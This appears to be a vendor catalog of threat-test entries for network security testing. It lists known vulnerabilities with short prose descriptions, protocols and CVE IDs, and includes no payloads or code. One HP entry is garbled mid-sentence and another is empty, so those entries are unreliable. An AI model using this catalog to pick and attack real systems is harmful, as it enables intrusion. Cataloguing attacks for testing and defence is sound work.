Detailed Description:	An SQL injection vulnerability exists in Symantec IM Manager. The vulnerability is due to insufficient input validation of the parameters loginTimeStamp, dbo, dateDiffParam and whereClause. A remote non-privileged user can exploit this vulnerability by embedding malicious SQL code as part of the vulnerable parameter. Successful exploitation would result in disclosure of sensitive information, and modification or manipulation of the data in the underlying database.
Protocol Type:	HTTP
CVEID:	CVE-2010-0112
Threat File Name:	TSL20170217-05_Trend_Micro_Control_Manager_importFile.php_Directory_Traversal_IPv6.xml
Executive Description:	Trend Micro Control Manager importFile.php Directory Traversal (IPv6 Version)
Detailed Description:	A directory traversal vulnerability has been reported in Trend Micro Control Manager. This vulnerability is caused by improper sanitization of directory traversal characters(...) by importFile.php. A remote attacker could exploit this vulnerability by uploading arbitrary files onto the vulnerable server. Successful exploitation results in arbitrary code execution under the security context the Trend Micro Control Manager user.
Protocol Type:	HTTPS, IPv6
Threat File Name:	FSC20080212-10_Microsoft_Windows_WebDAV_Mini.xml
Executive Description:	Microsoft Windows WebDAV Mini-Redirector Heap Buffer Overflow
Detailed Description:	A vulnerability has been reported in the WebDAV Mini-Redirector component of Microsoft Windows. The flaw can be triggered during the processing of WebDAV responses, causing a heap overflow. An attacker can exploit this vulnerability by persuading the target user to connect to a malicious WebDAV server. A successful attack could lead to arbitrary code execution in the SYSTEM security context.
Protocol Type:	HTTP
CVEID:	CVE-2008-0080
Threat Package:	Standard
Threat File Name:	TSL20170313-06_HPE_Intelligent_Management_Center_FileUploadServlet_Directory_Traversal.xml
Executive Description:	HPE Intelligent Management Center FileUploadServlet Directory Traversal
Detailed Description:	A directory traversal vulnerability has been reported in HPE Intelligent Management Center. The vulnerability is due to a lack of proper input sanitization on multipart form-data requests in FileUploadServlet. A remote attacker can exploit this vulnerability by sending a maliciously crafted HTTP request. Successful exploitation could result in the execution of arbitrary code under the context of the SYSTEM user
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2017-5794
Threat File Name:	TSL20170331-03_HPE_Intelligent_Management_Center_FileDownloadServlet_fileName_Directory_Traversal.xml
Executive Description:	HPE Intelligent Management Center FileDownloadServlet fileName Directory Traversal
Detailed Description:	An directory traversal vulnerability has been reported in HPE Intelligent Management Center. The vulnerability is due to a lack of proper input sanitization on the fileName parameter in FileDownloadServlet. A remote attacker can exploit this vulnerability by sending a maliciously crafted HTTP request. Successful exploitation results in the disclosure of arbitrary file contents from the system.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2017-5795
Threat File Name:	phpcommunitycalendar_sqli_c.xml
Executive Description:	phpCommunityCalendar 4.0.3 SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted HTTP query containing an SQL query which is executed by the server via delCalendar.php's CalendarDetailsID parameter. phpCommunityCalendar is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2797
Threat Package:	Standard
Threat File Name:	TSL20140214-08_Microsoft_Internet_Explorer_CVE-2014-0275_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-0275 Use After Free(IPv6 Version)
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2014-0275
OSVDB:	103174
Threat File Name:	TSL20111207-01_Adobe_Acrobat_and_Reader_U3D_Uninitialized_Variable_IPv6.xml
Executive Description:	Adobe Acrobat and Reader U3D Uninitialized Variable(IPV6 Version)

Detailed Description:	An uninitialized variable dereference vulnerability has been identified in Adobe Reader and Adobe Acrobat. The vulnerability is due to a flaw in the code that handles U3D files embedded in PDF files. A remote attacker could exploit this vulnerability by enticing a user to open a crafted PDF file. In case of a successful attack arbitrary attacker code will be executed on the target user machine in the security context of the logged on user. If the attack fails, the affected application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2011-2462
Threat File Name:	FSC20080708-09_Microsoft_Windows_Explorer_Search-ms_File_Parsing_Code_Execution.xml
Executive Description:	Microsoft Windows Explorer Search-ms File Parsing Code Execution
Detailed Description:	There exists a code execution vulnerability in Microsoft Windows Explorer. The vulnerability is due to insecure design in the way Microsoft Windows Explorer parses and saves saved-search(.search-ms) files. Unauthenticated remote attackers can exploit this vulnerability by enticing the target user to open a crafted file and save it, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user.
Protocol Type:	HTTP
CVEID:	CVE-2008-1435
Threat Package:	Standard
Threat File Name:	nokia_ggsn_tcp.xml
Executive Description:	Nokia GGSN TCP Option Denial of Service
Detailed Description:	This threat sends a TCP Packet with the option set to 0xFF. Causes the Nokia GGSN to crash and reboot with certain versions of firmware.
Protocol Type:	TCP
CVEID:	CVE-2003-0368
OSVDB:	4327
Threat Package:	Standard
Threat File Name:	doceboCMS_cmi_b.xml
Executive Description:	DoceboCMS Arbitrary PHP File Inclusion
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via lib.teleskill.php's GLOBAL parameter. DoceboCMS is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2576
OSVDB:	25757
Threat Package:	Standard
Threat File Name:	ipv6_emptyUDP_IPv6.xml
Executive Description:	IPv6 Empty UDP SNMP Packet (IPv6 Version)
Detailed Description:	This threat is an IPv6 version of the empty UDP SNMP packet. It sends an empty UDP packet which has been known to crash certain SNMP agents. (IPv6 Version)
Protocol Type:	SNMP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170330-08_Trend_Micro_IWSVA_ReportHandler_DoCmd_Command_Injection.xml
Executive Description:	Trend Micro IWSVA ReportHandler DoCmd Command Injection
Detailed Description:	A command injection vulnerability has been reported in Trend Micro InterScan Web Security Virtual Appliance (IWSVA). The vulnerability exists due to a design weakness which allows execution of a user-supplied string as a command by accessing the DoCmd method. A remote, authenticated attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of the iscan (non-root) user.
Protocol Type:	HTTPS,HTTP
Threat File Name:	FSC20081006-26_iseemedia_LPViewer_ActiveX_Control_Multiple_Buffer_Overflows_IPv6.xml
Executive Description:	iseemedia LPViewer ActiveX Control Multiple Buffer Overflows (IPv6 Version)
Detailed Description:	There exist multiple buffer overflow vulnerabilities in iseemedia LPViewer ActiveX Control. The vulnerabilities are due to insufficient boundary checking when a crafted parameter is passed to the affected ActiveX control. An attacker may exploit this vulnerability by enticing a target user to open a malicious web page. Successful exploitation could lead to injection and execution of arbitrary code in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-4384
Threat Package:	Standard
Threat File Name:	TSL20170412-10_Adobe_Acrobat_and_Reader_JPEG2000_Parsing_Out_of_Bounds_Read_IPv6.xml
Executive Description:	Adobe Acrobat and Reader JPEG2000 Parsing Out of Bounds Read (IPv6 Version)
Detailed Description:	An out-of-bounds read vulnerability has been reported in Adobe Acrobat and Reader. The vulnerability is due to improper validation of embedded JPEG2000 images in a PDF document. A remote attacker could exploit this vulnerability by enticing a user to open a maliciously crafted webpage or a maliciously crafted PDF document. Successful exploitation could result in information disclosure which could be used to further compromise the target system.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP,IPv6
CVEID:	CVE-2017-3045
Threat File Name:	TSL20130423-05_HP_Intelligent_Management_Center_IctDownloadServlet_Information_Disclosure.xml
Executive Description:	HP Intelligent Management Center IctDownloadServlet Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in HP Intelligent Mana lack of authentication and insufficient input validation in the IctDown request parameters. By sending crafted HTTP requests to the target system, a remote vulnerability to view the contents of arbitrary files on a target system.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-5204
OSVDB:	91029
Threat File Name:	maxdbAuthorizeHTTP_IPv6.xml
Executive Description:	MySQL MaxDB HTTP Authorize Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in processing the Authorization header of an HTTP GET request. This can allow an attacker to cause a crash or overwrite elements in the program allowing code execution. This application uses HTTP as its transfer protocol and typically listens on port 80 or port 9999. (IPv6 Version)

Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0111
OSVDB:	12919
Threat Package:	Standard
Threat File Name:	TSL20120217-05_Novell_GroupWise_Messenger_nmma_exe_createsearch_Memory_Corruption_IPv6.xml
Executive Description:	Novell GroupWise Messenger nmma.exe createsearch Memory Corruption(IPv6 Version)
Detailed Description:	A heap memory corruption vulnerability exists in Novell GroupWise Messenger. Specifically, the vulnerability is caused by improper handling of crafted parameters when processing a request to /createsearch. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted request to the target service on port 8300/TCP. Successful exploitation could allow remote code execution in the context of the target service, which is SYSTEM.
Protocol Type:	IPv6,HTTP
Threat File Name:	qualcomm_imap_bof.xml
Executive Description:	Eudora Qualcomm WorldMail IMAP Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the IMAP daemon of WorldMail. This is used to gain control of the server using this application. IMAP typically listens on port 143.
Protocol Type:	IMAP
CVEID:	CVE-2005-4267
Threat File Name:	FSC20060509-16_Novell_NetWare_Distributed_Print_Services_Integer_Overflow.xml
Executive Description:	Novell Distributed Print Services Integer Overflow
Detailed Description:	There exists an integer overflow vulnerability in Novell Distributed Print Services module in multiple Novell products. The vulnerability is caused due to lack of proper boundary checks prior to the calculation of the size of a memory buffer. An unauthenticated attacker may exploit this vulnerability to inject and execute arbitrary code in the context of the vulnerable application, Super User in the Netware systems.
Protocol Type:	Proprietary
CVEID:	CVE-2006-2327
Threat Package:	Standard
Threat File Name:	TSL20131112-14_Microsoft_Office_WordPerfect_File_Converting_Buffer_Overflow.xml
Executive Description:	Microsoft Office WordPerfect File Converting Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office. The vulnerability is due to improper handling of structures when parsing a specially crafted WordPerfect document. Remote, unauthenticated attackers could exploit this vulnerability by enticing the target user to open a specially crafted WordPerfect file. Successful exploitation allows the attacker to execute arbitrary code, or terminate the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2013-1325
OSVDB:	99650
Threat File Name:	TSL20110802-01_ESTsoft_ALZip_MIM_File_Processing_Buffer_Overflow_IPv6.xml
Executive Description:	ESTsoft ALZip MIM File Processing Buffer Overflow(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in ESTsoft ALZip product. The vulnerability exists in libETC.dll library and is due to improper processing of the filename or name parameter within MIM file headers which will result in a stack-buffer overflow if an overly long filename is provided. A remote attacker can exploit this vulnerability to execute arbitrary code. A remote unauthenticated attacker could exploit the vulnerability by convincing a user to open a malicious file and execute arbitrary code in the context of the logged in user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2011-1336
Threat File Name:	msie_vml_bof_IPv6.xml
Executive Description:	MS Internet Explorer VML Remote Buffer Overflow Exploit (MS07-004) (IPv6 Version)
Detailed Description:	This threat causes Internet Explorer to unexpectedly crash or run malicious code. Internet Explorer is a web browser. This attack would typically come from a malicious web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0024
OSVDB:	31250
Threat Package:	Standard
Threat File Name:	FSC20080404-04_CA_Multiple_Products_Alert_Notification_Server_Buffer_Overflow.xml
Executive Description:	CA Multiple Products Alert Notification Server Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the Alert Service component used by multiple CA products. The vulnerability is due to insufficient data validation in Alert Service component while handling specially crafted RPC requests. A remote authenticated attacker can exploit this vulnerability by sending a crafted RPC request to the target host. As a result of successful exploitation, the attacker can execute arbitrary code with SYSTEM privileges, or cause a denial of service condition.
Protocol Type:	SMB
CVEID:	CVE-2007-4620
Threat Package:	Standard
Threat File Name:	sipemptyviaparams.xml
Executive Description:	SIP Empty Via: Parameters
Detailed Description:	This threat sends out a SIP INVITE message with multiple empty parameters after the branch tag in the Via: header. This may confuse or crash a PBX that isn't very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20040914-02_Microsoft_JPEG_Processing_Buffer_Overflow.xml
Executive Description:	Microsoft JPEG Processing Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in the GDI+ component included in several Microsoft products. This vulnerability is triggered by a malformed JPEG image file. This vulnerability could allow an attacker to inject and execute code on a remote system with the security context of the current user.

Protocol Type:	HTTP
CVEID:	CVE-2004-0200
Threat Package:	Standard
Threat File Name:	TSL20131220-03_IBM_Rational_Focal_Point_Login_Servlet_Information_Disclosure_IPv6.xml
Executive Description:	IBM Rational Focal Point Login Servlet Information Disclosure(IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in IBM Rational Focal Point. The vulnerability is due to an input validation error of the file variable in com.telelogic.focalpoint.pres.controller.LoginController servlet. A remote, unauthenticated attacker could exploit this vulnerability to read the configuration files of the Webservice Axis Gateway of Focal Point.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2013-5397
OSVDB:	101023
Threat File Name:	dameware_bof_IPv6.xml
Executive Description:	Dameware Mini Remote Control Server Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the Dameware Remote Control software. By sending a crafted attack, a user can gain control of the system. Dameware Mini Remote Control Client typically listens on port 6129. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-2842
OSVDB:	19119
Threat Package:	Standard
Threat File Name:	sipnameltgt.xml
Executive Description:	SIPPING: Name-Addr URI Not in <>
Detailed Description:	This threat sends out a SIP REGISTER message with an escaped Contact header not enclosed in <>. This is invalid, and since it is unexpected it may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	siplocalhostinvite_IPv6.xml
Executive Description:	SIP localhost INVITE (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message instructing responses to be sent to localhost. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	reloadcms_xss_cmi.xml
Executive Description:	ReloadCMS User-Agent HTML Injection Vulnerability
Detailed Description:	This threat sends a standard HTTP query containing html or php within the User-Agent header field, this flaw can be used as either a XSS or remote code execution flaw. ReloadCMS typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	anthologia_rfi.xml
Executive Description:	Anthologia 0.5.2 (index.php ads_file) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Anthologia is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20110809-04_Microsoft_Internet_Explorer_XSLT_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer XSLT Memory Corruption
Detailed Description:	A remote code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way in which Internet Explorer processes an iframe that points to an XSL document. This can result in access to an object that is not initialized or has already been deleted. A remote attacker could entice a target user to view a maliciously crafted web page that exploits this vulnerability to run arbitrary code in the target user's security context.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1963
Threat File Name:	phpgeneric_rfi.xml
Executive Description:	PHP Generic (include_path) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Php Generic is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20140428-06_Adobe_Flash_Player_Shader_Memory_Corruption.xml
Executive Description:	Adobe Flash Player Shader Memory Corruption
Detailed Description:	A code execution vulnerability exists in Adobe Flash Player. The vulnerability is due to a memory corruption error while processing crafted Shader objects. A remote attacker could exploit this vulnerability by enticing a target user to visit a web page embedding a specially crafted Flash file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2014-0515
OSVDB:	106347
Threat File Name:	IEImageFreeze_IPv6.xml
Executive Description:	Internet Explorer Large Image Denial Of Service (IPv6 Version)
Detailed Description:	This attack sends a malicious webpage, specifying a very large image width and height. This causes Internet Explorer and other web browsers to attempt to resize the image, leading to system instability and potential crashing. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4625
OSVDB:	22697
Threat Package:	Standard

Threat File Name:	TSL20150127-02_GNU_C_Library_gethostbyname_Buffer_Overflow.xml
Executive Description:	GNU C Library gethostbyname Buffer Overflow.
Detailed Description:	A buffer overflow vulnerability exists in GNU C Library (glibc) <code>_nss_hostname_digits_dots()</code> function which is accessible from <code>gethostbyname*()</code> functions. The function can overflow <code>sizeof(char)</code> bytes, 4 or 8 for 32-bit or 64-bit architectures, respectively. A remote attacker can exploit this vulnerability by providing crafted input to an application that uses a <code>gethostbyname</code> function with user controlled input; the exact mechanism will depend on the application using the vulnerable function. Successful exploitation could result in code execution in the context of the affected application. Tester should set variable <code>\$destPort</code> to 25 before test.
Protocol Type:	SMTP/SMTPS
CVEID:	CVE-2015-0235
OSVDB:	117579
Threat File Name:	ms03-043-2.xml
Executive Description:	Microsoft Messenger Buffer Overflow
Detailed Description:	This threat attempts to cause a reboot on the target Windows machine through a flaw in Microsoft Messaging. It targets Microsoft's DCOM system, which listens on port 135. For this threat, that destination port is hardcoded. This threat is fragmented into multiple IP fragments.
Protocol Type:	DCOM
CVEID:	CVE-2003-0717
OSVDB:	10936
Threat Package:	Standard
Threat File Name:	FSC20081023-10_Microsoft_Windows_Server_Service_RPC_Request_Handling_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Server Service RPC Request Handling Buffer Overflow
Detailed Description:	There is a buffer overflow vulnerability in Microsoft Windows. The flaw is due to boundary error in the <code>"Server"</code> service when processing RPC requests. Remote unauthenticated attackers can exploit this vulnerability by sending specially crafted messages to the affected interface. A successful exploitation can lead to arbitrary code execution with System level privileges.
Protocol Type:	MICROSOFT-DS
CVEID:	CVE-2008-4250
Threat Package:	Standard
Threat File Name:	novell_messenger_IPv6.xml
Executive Description:	Novell Groupwise Messenger Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the Novell Groupwise Messaging Agent. It allows an attacker to execute code on the target in the context of the SYSTEM user account. This attack is HTTP based but should typically use port 8300. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0092
OSVDB:	24617
Threat Package:	Standard
Threat File Name:	TSL20111103-01_Nullsoft_Winamp_MIDI_File_Buffer_Overflow_IPv6.xml
Executive Description:	Nullsoft Winamp MIDI File Buffer Overflow(IPV6 VERSION)
Detailed Description:	A code execution vulnerability exists in Nullsoft Winamp. This vulnerability is due to a heap buffer overflow while handling crafted MIDI files. Remote attackers can exploit this vulnerability by enticing the target user to open specially crafted files. Successful exploitation would lead to to arbitrary code execution in the security context of the logged-in user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
Threat File Name:	TSL20141231-02_ManageEngine_Desktop_Central_Dcpluginservelet_Policy_Bypass_IPv6.xml
Executive Description:	ManageEngine Desktop Central Dcpluginservelet Policy Bypass IPv6 version.
Detailed Description:	A policy bypass vulnerability exists in ManageEngine Desktop Central. The vulnerability is due to lack of authentication and insufficient input validation of the parameters sent to the Dcpluginservelet page when processing HTTP(S) requests. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted request to the target server. In a successful attack scenario, the attacker can create an administrator account. Tester should set variable <code>\$destPort</code> to 8020 or 8383 before test.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-7862
OSVDB:	116554
Threat File Name:	TSL20150210-32_Microsoft_Internet_Explorer_CVE_2015_0041_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-0041 Use After Free.
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-0041
OSVDB:	118161
Threat File Name:	FSC20100309-05_Microsoft_Office_Excel_EntExU2_Record_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel EntExU2 Record Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to a memory corruption error when processing malformed "EntExU2" records. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target machine by enticing a user into opening a specially crafted Excel document. In attack scenarios where code execution is successful the behaviour of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally, leading to a denial of service condition.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0257
Threat Package:	Standard
Threat File Name:	TSL20111117-01_HP_Data_Protector_Multiple_Products_FinishedCopy_SQL_Injection.xml
Executive Description:	HP Data Protector Multiple Products FinishedCopy SQL Injection

Detailed Description:	An SQL injection vulnerability exists in HP Data Protector Notebook Extension and HP Data Protector for Personal Computers. The specific flaw is caused by insufficient validation of the <i><type></i> field in a user supplied SOAP request to the DPNECentral web service. A remote unauthenticated attacker can leverage this vulnerability to execute arbitrary SQL queries on a target system within the security context of the affected service.
Protocol Type:	HTTP
CVEID:	CVE-2011-3162
Threat File Name:	TSL20130506-02_Microsoft_Internet_Explorer_CGenericElement_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CGenericElement Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is caused by a use-after-free error on a CGenericElement object when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-1347
OSVDB:	92993
Threat File Name:	TSL20160615-05_HAProxy_reqdeny_Denial_of_Service.xml
Executive Description:	
Detailed Description:	
Protocol Type:	
Threat File Name:	TSL20120410-05_Microsoft_Internet_Explorer_SelectAll_Use-after-free.xml
Executive Description:	Microsoft Internet Explorer OnReadyStateChange Use-after-free
Detailed Description:	A remote code execution vulnerability exists in Microsoft's Internet Explorer. The vulnerability is due to the attempted use of an object after it has been deleted. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open an HTML document with Internet Explorer. A successful exploitation attempt could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-0171
Threat File Name:	sipnulluri.xml
Executive Description:	SIPPING: Escaped NULLs in URIs
Detailed Description:	This threat sends out a SIP message with null characters escaped in URIs. This is valid but unexpected, so a SIP implantation may have problems parsing it.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	fuzz-HTTP_AppendformatnToGET.xml
Executive Description:	Fuzz HTTP GET appended by %n
Detailed Description:	Fuzzes the Method field by appending %n
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	asterisk_pre-auth_dos.xml
Executive Description:	Asterisk Chan_Sip.c Unspecified Remote Denial of Service Vulnerability
Detailed Description:	This threat leverages a flaw in the SIP Channel driver to cause a denial of service (resource consumption). Asterisk is a PBX application used by many vendors and may be found listening on udp port 5060.
Protocol Type:	SIP
CVEID:	CVE-2006-5445
OSVDB:	29973
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_OpCode.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_OpCode.xml
Detailed Description:	Fuzzes OpCode field by ranging through all possible values.
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	TSL20151209-13_Schneider_Electric_ProClima_FlBookView_AttachToSS_Memory_Corruption.xml
Executive Description:	Schneider Electric ProClima FlBookView AttachToSS Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Schneider Electric ProClima. The vulnerability is due to a flaw in the AttachToSS() method of the FlBookView ActiveX control, in which a user-supplied integer is interpreted as a memory address. A remote, unauthenticated attacker could exploit this vulnerability by enticing a victim to browse to a malicious web page. Successful exploitation could lead to arbitrary code execution under context of the user.
Protocol Type:	HTTPS,HTTP
CVEID:	CVE-2015-8561
Threat File Name:	lupper35.xml
Executive Description:	Lupper Worm 35
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	FSC20080220-19_Sybase_SQL_Anywhere_MobiLink_Crafted_Strings_Buffer_Overflow.xml
Executive Description:	Sybase SQL Anywhere MobiLink Crafted Strings Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the MobiLink component of Sybase SQL Anywhere. The flaw is due to boundary error when processing overly long strings in received network messages. A remote unauthenticated attacker can leverage this vulnerability to create a denial of service condition to the affected server, or inject and execute arbitrary code with privileges of currently logged-in user.
Protocol Type:	TCP
Threat Package:	Standard

Threat File Name:	TSL20170209-03_PHP_phar_parse_pharfile_Function_filename_len_Property_Integer_Overflow.xml
Executive Description:	PHP phar_parse_pharfile Function filename_len Property Integer Overflow
Detailed Description:	An integer overflow vulnerability, which leads to a buffer over read, has been reported in PHP. The vulnerability is due to incorrect handling of phar files by the phar_parse_pharfile() function. A remote attacker can exploit this vulnerability by providing a crafted .phar file to a vulnerable application. Successful exploitation could lead to denial of service of the affected system.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2016-10159
Threat File Name:	host_xss.xml
Executive Description:	HTTP Host XSS
Detailed Description:	This threat sends a Javascript alert through the Host: field of an HTTP packet. Some web servers will echo this input back out the web browser, creating the possibility of a cross-site scripting attack.
Protocol Type:	HTTP
CVEID:	CVE-2002-2192
Threat Package:	Standard
Threat File Name:	FSC20070626-18_RealNetworks_Multiple_Products_SMIL_Wallclock_Stack_Overflow_IPv6.xml
Executive Description:	RealNetworks Multiple Products SMIL Wallclock Stack Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in multiple multimedia products by RealNetworks. The vulnerability is due to the way RealPlayer and Helix Player products parse a specific time format in Synchronized Multimedia Integration Language (SMIL) data. A remote attacker can exploit this vulnerability by convincing the target user to visit a malicious website or open a crafted file. Successful exploitation can allow execution of arbitrary code in the context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3410
Threat Package:	Standard
Threat File Name:	phpquiz_rfi.xml
Executive Description:	PHPQuiz Index.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PHPQuiz is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20111026-03_Google_Chrome_and_Apple_Safari_Ruby_Before_And_After_Blocks_Memory_Corruption_IPv6.xml
Executive Description:	Google Chrome and Apple Safari Ruby Before And After Blocks Memory Corruption(IPV6 VERSION)
Detailed Description:	A memory corruption vulnerability exists within Apple WebKit, a component of Apple Safari and Google Chrome web browsers, as well as Apple iTunes. This vulnerability is due to incorrect handling of display: and counter-reset: properties within ruby:before and ruby:after style sheet blocks. Remote attackers may exploit these vulnerabilities by enticing target users to visit a specially crafted web page. Successful exploitation would allow injection and execution of arbitrary code within the context of the currently logged on user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-1440
Threat File Name:	ibm_domino_inotes6dll_activex_bof_IPv6.xml
Executive Description:	IBM Domino Web Access Upload Module inotes6.dll Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in IBM Domino Web Access Upload Module inotes6.dll ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4474
Threat Package:	Standard
Threat File Name:	FSC20090831-01_Microsoft_Internet_Information_Services_FTP_Server_Remote_Buffer_Overflow.xml
Executive Description:	Microsoft Internet Information Services FTP Server Remote Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been reported for Microsoft Internet Information Services (IIS). The vulnerability is due to insufficient bounds checking when processing an FTP NLST command. A remote authenticated attacker can craft an FTP session to exploit this vulnerability. Successful exploitation would allow an attacker to inject and execute arbitrary code on the target system with the security privileges of the user System. If code execution is not successful, the affected application will terminate abnormally causing a denial of service condition.
Protocol Type:	FTP
Threat Package:	Standard
Threat File Name:	siplongheader_IPv6.xml
Executive Description:	SIPPING: Long Values in Header Fields (IPv6 Version)
Detailed Description:	This threat sends out a SIP message with many values that are extremely long. While this is valid, it may cause a SIP implementation to get confused or possibly even cause a buffer overflow. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	TSL20130709-31_Microsoft_Internet_Explorer_CVE-2013-3152_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2013-3152 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-3152
OSVDB:	94977

Threat File Name:	IGMPmembershipQuery.xml
Executive Description:	IGMP Membership Query Flood
Detailed Description:	Internet Group Management Protocol is used to establish host memberships in particular multicast groups on a single network. This threat is executed by flooding a server with queries from a spoofed falsified source.
Protocol Type:	IGMP
Threat Package:	Standard
